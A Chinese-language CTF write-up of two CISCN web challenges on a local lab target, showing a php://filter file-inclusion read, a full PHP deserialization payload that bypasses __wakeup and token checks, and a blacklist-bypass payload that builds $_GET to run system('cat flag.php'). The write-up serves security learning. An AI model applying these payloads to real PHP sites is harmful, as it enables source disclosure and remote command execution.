记录一下萌新的第一次CISCN之旅,这次和队友一起完成了两道web题目(虽然第二题没有什么输出),这次的web题目质量很高,接下来是我对这次比赛解题过程的记录~
访问index.php
,可以看到如下界面
右键查看页面源代码
得到了两个提示
1.index.php
中可能存在有文件包含的漏洞
2.hint.php
存在有提示
首先利用php://filter
访问hint.php
,修改url为http://127.0.0.1/ciscnweb1/index.php?file=php://filter/read=convert.base64-encode/resource=hint.php
,base64解密后得到hint.php
的网页源码。
$v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
同理我们也可以获得index.php
的网页源码
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = base64_decode($payload);
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
接下来我们对代码进行逐行分析,首先是hint.php
中的内容
定义了一个名为Handle
的类,其调用了function __wakeup
函数,其会在我们对Handle
类的对象进行反序列化的时候进行调用,结合下面的语句,我们需要绕过function __wakeup
来避免我们传入的内容被置换为null
,联想到MOCTF中一道名为PUBG的题目,可以通过修改序列化语句中的类属性数量对其进行绕过。然后就可以实现在对其析构时调用转入handle
的getFlag()
函数。
定义了一个名为Flag
的类,内部有三个变量,分别名为file
,token
和token_flag
。在构造的时候后面两个变量被同时赋值为了(1,10000)当中任意一个数字的md5值,也就是说此时token_flag
和token
的值相同。
接下来时getFlag()
函数,在调用这个函数的时候我们的token_flag
的值有一次被赋值为了1,10000)当中任意一个数字的md5值,此时当且仅当token
和token_flag
的值完全相同时,file的内容才会被读取。
此时要想做到token_flag
和token
的值完全相同依靠随机事件的发生(两次rand得到的随机数相同)是不实际的,此时联想到去年安恒月赛当中一道构造pop链的题目,其中也涉及了两个变量相等后其中一个变量发生了改变,需要实现两个变量相同的考察点,我们也如法炮制,采用动态跟随的方式进行绕过,即构造$token=&$token_flag
进行绕过。
接下来就是把上面的点进行整合,构造出符合要求的Handle
类
接着就是这道题目最大的坑点了,就是如果以这种方式生成的类是不会显示Handle
两侧的不可见字符的!下图是我在php在线工具当中进行的测试
因此我们采取url编码的方式将不可见字符变为可识别的内容
至此我们对于类和反序列化的操作就告一段落了。
然后我们查看index.php
当中对于我们输入的过滤操作。
首先是$file
不能出现flag
接着是$payload
,首先我们的url被parse_url
解析到数组当中,其中的query
便是我们我们get方式传入的内容,parse_str
会把查询字符串解析到变量当中。这也就要求我们传入的变量的值也不得出现flag
,但毫无疑问我们要查询的内容就是flag.php
,查到了一篇文章对parse_url
进行绕过。
http://www.am0s.com/functions/406.html
现在可以尝试读取flag.php
了
最终的payload:http://127.0.0.1///ciscnweb1/index.php?file=hint.php&payload=O%3A6%3A%22Handle%22%3A1%3A{s%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A{s%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22ca9c267dad0305d1a6308d2a0cf1c39c%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B}}
这道题目很有意思,得到flag的思路也很清晰,查看calc.php
便得到了网页的源码,
可以看到最后的关键语句
只需要我们构造出$content
的内容为system(cat flag.php)就好了,话虽如此,构造的过程我们也是绕了很多很多的弯路。
首先是我们输入的长度收到了限制不得超过80位。
接着是blacklist的中的内容,禁用了空格,换行符,单双引号,反引号,中括号。
之后便是过滤了所有的字符(包括大小写字母下划线)。
开始时我们的想法是
1.利用通配符进行绕过
2.利用异或进行构造
但是这两种方法很快都被否决了,首先是通配符绕过,由于没有反引号无法执行指令;接着是异或构造由于没有单引号也无法实现。
最后我们注意到了$whitelist
的中的内容,尝试利用其中的函数进行构造(当然是我给力的队友想出来的~)
payload:$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{0}($$pi{1})&0=system&1=cat flag.php
解释一下,首先是base_convert
函数完成了36进制到10进制的转换,即$pi=hex2bin(dechex(1598506324))
,dechex(1598506324)
实现了10进制转换为16进制,即$pi=hex2bin(5f474554)
,hex2bin(5f474554)
实现了16进制转为10进制,最后构造出了$pi=_GET()
实现了get的构造后一切就变得清晰了$${0}
就变成了$_GET(0)
,同理$_GET(1)
也被构造了出来。$$pi{0}($$pi{1})
就变成了$_GET(0)($GET(1))
,接着我们传入0为system,1为cat flag.php,绕过了字符限制,完成getshell。